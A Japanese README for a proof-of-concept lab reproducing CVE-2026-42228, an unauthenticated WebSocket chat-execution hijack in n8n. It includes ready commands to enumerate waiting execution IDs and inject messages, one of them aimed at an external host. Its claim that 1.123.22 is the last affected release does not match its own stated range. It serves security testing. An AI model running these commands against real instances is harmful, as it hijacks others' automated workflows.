GHSA-f77h-j2v7-g6mw — n8n 未認証チャット実行ハイジャック

CVE: CVE-2026-42228
深刻度: 高
影響を受けるバージョン: n8n < 1.123.32
修正バージョン: n8n 1.123.32 / 2.17.4 / 2.18.1

脆弱性の概要

chat-service.ts :: startSession() は、WebSocket クエリ文字列から executionId を受け取り、その実行がデータベースに存在することだけをチェックします。呼び出し元がその実行にアクセスする権限を持っているかどうかは検証しません。

待機状態の実行に対する有効な数値実行 ID を知っている（または列挙できる）未認証の攻撃者は、以下のことが可能です：

1. 認証情報なしで /chat WebSocket に接続する。
2. 正当なユーザーに表示されている保留中のプロンプトを受信する。
3. ワークフローを再開（およびハイジャック）する任意のチャット入力を注入する。

前提条件:

• 認証 = なし に設定された公開ホストチャットワークフローがアクティブであること。
• 少なくとも1つの実行が現在 waiting 状態であること。
• 攻撃者が数値実行 ID（連続する整数）を推測または列挙できること。

ラボ環境のセットアップ

要件

• Compose v2 を備えた Docker ≥ 24
• localhost のポート 5678 が空いていること

ワンコマンドセットアップ

chmod +x exploit.sh
./exploit.sh setup

これにより、n8nio/n8n:1.123.22（影響を受ける最後のリリース）がプルされ、攻撃者イメージがビルドされ、脆弱なターゲットが http://localhost:5678 で起動します。

エンドツーエンドのエクスプロイト手順

1. 脆弱なターゲットを設定する

1. http://localhost:5678 を開き、セットアップウィザードを完了します（任意の認証情報）。
2. 新しいワークフローを作成します。
3. チャットトリガーノードを追加 → 認証 = なし に設定します。
4. トリガーの後に待機ノード（またはユーザー入力を待つ任意のノード）を追加します。
5. ワークフローをアクティブ化します。

2. 待機中の実行をトリガーする

チャットトリガーノードに表示されている公開チャット URL を開き、メッセージを送信します。実行は待機状態になり、次のチャット返信を待って一時停止します。

3. 待機中の実行をスキャンする（未認証）

./exploit.sh scan
# または範囲を指定:
./exploit.sh scan 1 500

脆弱な実行が見つかった場合の期待される出力:

[+] WAITING execution found! exec_id=7
    Server said: 'n8n|continue'
    Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
    [!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'

4. 既知の実行 ID を直接攻撃する

./exploit.sh attack 7
# またはカスタムペイロードを使用:
./exploit.sh attack 7 "custom injected message"

5. ハイジャックを確認する

n8n エディタに戻ると、ワークフローは正当なユーザーの入力ではなく、攻撃者が注入したメッセージで再開されます。

手動 Docker コマンド

# 攻撃者イメージをビルド
docker build -t n8n-chat-hijack-poc .

# スキャン（共有ラボネットワークに接続）
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --start-id 1 --end-id 200

# 特定の実行を攻撃
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --exec-id 7 --inject "PWNED"

# 外部ターゲットに対して（ネットワークフラグは不要）
docker run --rm n8n-chat-hijack-poc \
    --target https://n8n.example.com \
    --exec-id 42 --inject "PWNED"

クリーンアップ

./exploit.sh clean

コンテナを停止し、ボリューム（SQLite データベースを含む）を削除します。

ファイル

参考情報

• GHSA-f77h-j2v7-g6mw
• n8n リリース 1.123.32 チェンジログ